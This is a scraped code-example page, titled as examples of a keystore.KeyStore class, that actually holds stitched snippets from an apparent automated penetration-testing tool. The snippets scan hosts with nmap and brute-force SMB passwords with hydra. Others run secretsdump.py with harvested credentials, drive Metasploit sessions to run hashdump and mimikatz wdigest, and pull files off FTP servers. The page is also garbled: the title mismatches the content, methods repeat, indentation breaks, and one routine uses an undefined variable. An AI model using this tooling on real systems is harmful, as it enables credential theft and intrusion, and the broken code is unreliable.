Python keystore.KeyStore类代码示例

    def processIPs(self, vector):
        for host in self.nm.all_hosts():
            good = False
            for proto in self.nm[host].all_protocols():
                if (good):
                    break
                lport = list(self.nm[host][proto].keys())
                lport.sort()
                for port in lport:
                    if (good):
                        break
                    if (self.nm[host][proto][port]["state"] == "open"):
                        good = True

            if (good):
                kb.add('host/' + host)
                # fire new event for "newHost"
                EventHandler.fire("newIP" + ":" + vector)

                # process ports
                self.processPorts(host, vector)

                # process hostscripts
                if ("hostscript" in self.nm[host]):
                    self.processHostScripts(host, vector)
        return

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            # test for NULL authentication first
            if not self.seentarget(t):
                self.addseentarget(t)
                self.searchTarget(t, '', '', '')

            # test for any local users
            for user in self.getUsers(t):
                passwords = kb.get(['creds/host/' + t + '/username/' + user + '/password'])
                for password in passwords:
                    if not self.seentarget(t + user + password):
                        self.addseentarget(t + user + password)
                        self.searchTarget(t, user, password, "")

            # test for any domain users
            domains = kb.get("host/" + t + "/domain")
            for domain in domains:
                for user in self.getDomainUsers(domain):
                    passwords = kb.get(['creds/domain/' + t + '/username/' + user + '/password'])
                    for password in passwords:
                        if not self.seentarget(t + user + password + domain):
                            self.addseentarget(t + user + password + domain)
                            self.searchTarget(t, user, password, domain)
        return

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            users = kb.get(['host/' + t + '/user'])
            self.display.verbose(self.shortName + " - Connecting to " + t)
            for user in users:
                # verify we have not tested this host before
                if not self.seentarget(t + str(user)):
                    # add the new IP to the already seen list
                    self.addseentarget(t + str(user))

                    passwords = kb.get(['host/' + t + '/user/' + user + '/password'])
                    for password in passwords:
                        self.display.verbose(self.shortName + " - Connecting to " + t)

                        # make outfile
                        temp_file = self.config[
                                        "proofsDir"] + self.shortName + "_" + t + "_" + user + "_" + Utils.getRandStr(
                            10)

                        # run secretesdump.py
                        command = "secretsdump.py -outputfile " + temp_file + " \"" + user + "\":\"" + password + \
                                  "\"@" + t
                        result = Utils.execWait(command, None)

                        # TODO
                        # parse out put and store any new info and fire any additional triggers
        return

    def searchTarget(self, target, port, username, password):
        success = False
        # start packet capture
        cap = self.pktCap(filter="tcp and port " + str(port) + " and host " + target, packetcount=10, timeout=10,
                          srcip="", dstip=target)
        try:
            if (Utils.port_open(target, 21)):
                # attempt to connect to the remote host
                with ftputil.FTPHost(target, username, password) as host:
                    success = True
                    # get list of files and loop over them
                    recursive = host.walk("/", topdown=True, onerror=None)
                    for root, dirs, files in recursive:
                        for name in files:
                            for pattern in self.filepatterns:
                                match_list = fnmatch.filter(files, pattern)
                                for fname in match_list:
                                    fpath = host.path.join(root, fname)
                                    if host.path.isfile(fpath):
                                        host.download(fpath, self.config["proofsDir"] + ip + fpath.replace("/", "_"))
                    host.close()
        except ftputil.error.PermanentError:
            self.display.error("Could not connect to %s on port 21" % (target))

        outfile = self.config["proofsDir"] + self.shortName + "_PCAP_Port" + str(
            port) + "_" + target + "_" + Utils.getRandStr(10)
        Utils.writeFile(self.getPktCap(cap), outfile)
        kb.add("host/" + target + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
        return success

    def processService(self, host, port, proto, service):
        name = ""
        product = ""
        version = ""
        for key, value in service.attrib.items():
            if   key == 'name':
                name = value
                if "http" in name:
                    if "https" in name:
                        name = "https"
                    elif "ssl" in name:
                        name = "https"
                    else:
                        name = "http"
                original = value
#                print "NMAP -- " + original + " -- " + name
            elif key == 'product':
                product = value
            elif key == 'version':
                version = value
#            elif key == 'ostype':
#                print value
#            elif key == 'method':
#                print value
#            elif key == 'conf':
#                print value
        kb.add('service/' + name + '/' + host + '/' + proto + '/' + port + '/version/' + product + ' ' + version)
        EventHandler.fire("newService_" + name + ":" + self.vector)

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            # verify we have not tested this host before
            if not self.seentarget(t):
                # add the new IP to the already seen list
                self.addseentarget(t)
                self.display.verbose(self.shortName + " - Connecting to " + t)
                # run nmap
                n = mynmap(self.config, self.display)
                scan_results = n.run(target=t, flags="--script=smb-enum-shares", ports="445", vector=self.vector,
                                     filetag=t + "_SMBSHARESCAN")['scan']

                tree = ET.parse(n.outfile + '.xml')
                root = tree.getroot()
                for table in root.iter('table'):
                    sharename = table.attrib["key"]
                    for elem in table:
                        if elem.text is not None:
                            kb.add("host/" + t + "/shares/SMB/" + sharename + "/" + str(elem.attrib['key'] + ": " + elem.text).replace("/", "%2F"))

        return

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            users = self.getUsers(t)
            self.display.verbose(self.shortName + " - Connecting to " + t)
            for user in users:
                # verify we have not tested this host before
                if not self.seentarget(t + str(user)):
                    # add the new IP to the already seen list
                    self.addseentarget(t + str(user))
                    # make outfile
                    temp_file = self.config["proofsDir"] + self.shortName + "_" + t + "_" + Utils.getRandStr(10)

                    command = self.config["hydra"] + " -s 445 -l " + user + " -P " + self.config[
                        "miscDir"] + "passwords.txt smb://" + t
                    result = Utils.execWait(command, temp_file, timeout=30)

                    # Extract usernames & passwords from results and add to KB
                    parts = re.findall(".* login:\s\s*([^\s]*)\s\s*password:\s\s*([^\s]*)", result)
                    for part in parts:
                        self.fire("newSmbPassword")
                        self.addVuln(t, "guessable password", {"output": temp_file.replace("/", "%2F")})

                        self.display.debug(
                            "Identified username [" + part[0] + "] with password [" + part[1] + "] on " + t)
                        kb.add("creds/host/" + t + "/username/" + part[0].strip() + "/password/" + part[1].strip())

        return

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        for t in self.targets:
            sessions = kb.get('host/' + t + '/msfSession')

            if len(sessions) > 0:
                # connect to msfrpc
                msf = myMsf(host=self.config['msfhost'], port=self.config['msfport'], user=self.config['msfuser'],
                            password=self.config['msfpass'])

                if msf.isAuthenticated():
                    # loop over each target
                    for s in sessions:
                        # verify we have not tested this session before
                        if not self.seentarget(s):
                            # add the new IP to the already seen list
                            self.addseentarget(s)
                            msf.execute("sessions -i " + str(s) + "\n")
                            msf.sleep(int(self.config['msfexploitdelay']))
                            msf.execute("getuid\n")
                            msf.sleep(int(self.config['msfexploitdelay']))
                            msf.execute("background\n")

                            outfile = self.config[
                                          "proofsDir"] + self.shortName + "_GetUid_" + t + "_" + Utils.getRandStr(
                                10)
                            text = msf.getResult()
                            Utils.writeFile(text, outfile)
                            kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
                            for line in text.splitlines():
                                m = re.match(r'^\s*Server username: (.*)\s*', line)
                                if (m):
                                    self.display.verbose("Metasploit Session [" + s +
                                            "] running as user [" + m.group(1).strip() + "]")

                            msf.execute("sessions -i " + str(s) + "\n")
                            msf.sleep(int(self.config['msfexploitdelay']))
                            msf.execute("sysinfo\n")
                            msf.sleep(int(self.config['msfexploitdelay']))
                            msf.execute("background\n")

                            outfile = self.config[
                                          "proofsDir"] + self.shortName + "_SysInfo_" + t + "_" + Utils.getRandStr(
                                10)
                            text = msf.getResult()
                            Utils.writeFile(text, outfile)
                            kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
                            for line in text.splitlines():
                                m = re.match(r'^\s*OS\s\s*: (.*)\s*', line)
                                if (m):
                                    self.display.verbose("Metasploit Session [" + s +
                                            "] running on OS [" + m.group(1).strip() + "]")

            # clean up after ourselves
            result = msf.cleanup()

        return

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        for t in self.targets:
            sessions = kb.get('shell/' + t + '/msf')

            if len(sessions) > 0:
                # connect to msfrpc
                msf = myMsf(host=self.config['msfhost'], port=self.config['msfport'], user=self.config['msfuser'],
                            password=self.config['msfpass'])

                if msf.isAuthenticated():
                    # loop over each target
                    for s in sessions:
                        # verify we have not tested this session before
                        if not self.seentarget(s):
                            # add the new IP to the already seen list
                            self.addseentarget(s)
                            myMsf.lock.acquire()
                            msf.execute("sessions -i " + str(s) + "\n")
                            msf.sleep(int(self.config['msfexploitdelay']))
                            msf.execute("hashdump\n")
                            msf.sleep(int(self.config['msfexploitdelay']))
                            msf.execute("background\n")
                            msf.sleep(int(self.config['msfexploitdelay']))

                            # TODO - process results and store results in KB
                            # regex match on [^:]+:[^:]+:[^:]+:[^:]+:::
                            outfile = self.config[
                                          "proofsDir"] + self.shortName + "_HashDump_" + t + "_" + Utils.getRandStr(
                                10)
                            text = msf.getResult()
                            myMsf.lock.release()
                            Utils.writeFile(text, outfile)
                            kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))

                            msf.execute("sessions -i " + str(s) + "\n")
                            msf.sleep(int(self.config['msfexploitdelay']))
                            msf.execute("load mimikatz\n")
                            msf.sleep(int(self.config['msfexploitdelay']))
                            msf.execute("wdigest\n")
                            msf.sleep(int(self.config['msfexploitdelay']))
                            msf.execute("background\n")

                            # TODO - process results and store results in KB
                            outfile = self.config[
                                          "proofsDir"] + self.shortName + "_Mimikatz_" + t + "_" + Utils.getRandStr(
                                10)
                            text = msf.getResult()
                            Utils.writeFile(text, outfile)
                            kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))

            # clean up after ourselves
            result = msf.cleanup()

        return

    def process(self, inputfile):
        contents = []
        with open (inputfile, "r") as myfile:
            contents = myfile.readlines()

        for line in contents:
            parts = line.strip().split(':=')
            kb.add("osint/" + parts[0].lower() + "/" + parts[1])
            self.fire("new" + parts[0])
        return

    def processPort(self, host, port):
        state = port.find('state').attrib['state']
        if state == "open":
            portnum = port.attrib['portid']
            proto = port.attrib['protocol']
            kb.add('port/' + proto + '/' + portnum + '/' + host)
            EventHandler.fire("newPort_" + proto + '_' + portnum + ":" + self.vector)

            self.processService(host, portnum, proto, port.find('service'))
    
            for script in port.findall('script'):
                self.portScriptFunc (host, portnum, proto, script, self.outfile)

    def processService(self, host, port, proto, vector):
        product = self.nm[host][proto][port]["product"]
        version = self.nm[host][proto][port]["version"]
        name = self.nm[host][proto][port]["name"]

        kb.add('service/' + name + '/host/' + host + '/' + proto + 'port/' + str(
            port) + '/product' + product + '/version/' + str(version))
        # print  'service/' + name + '/host/' + host + '/' + proto + 'port/' + str(port) + '/product' + product +
        # '/version/' + str(version)
        EventHandler.fire("newService" + str(name) + ":" + vector)
        if ("script" in self.nm[host][proto][port]):
            self.processScript(host, port, proto, vector)
        return

    def processPorts(self, host, vector):
        for proto in self.nm[host].all_protocols():
            lport = list(self.nm[host][proto].keys())
            lport.sort()
            for port in lport:
                if (self.nm[host][proto][port]["state"] == "open"):
                    # fire event for "newPortXXX"
                    kb.add('host/' + host + '/' + proto + 'port/' + str(port))
                    # print  'host/' + host + '/' + proto + 'port/' + str(port)
                    EventHandler.fire("newPort" + str(port) + ":" + vector)

                    # process services and info
                    self.processService(host, port, proto, vector)
        return

 def processHost(self, host):
     ip = ""
     for addr in host.findall('address'):
         ip_tmp = addr.attrib['addr']
         addrType = addr.attrib['addrtype']
         if addrType == "ipv4":
             ip = ip_tmp
             kb.add('host/' + ip)
             EventHandler.fire("newIP" + ":" + self.vector)
     if host.find('hostname'):
         for hostname in host.find('hostnames').findall('hostname'):
             name = hostname.attrib['name']
             kb.add('host/' + ip + '/dns/' + name)
     return ip

    def processIPs(self, vector):
        for host in self.nm.all_hosts():
            # print host
            kb.add('host/' + host)
            # fire new event for "newHost"
            EventHandler.fire("newIP" + ":" + vector)

            # process ports
            self.processPorts(host, vector)

            # process hostscripts
            if ("hostscript" in self.nm[host]):
                self.processHostScripts(host, vector)
        return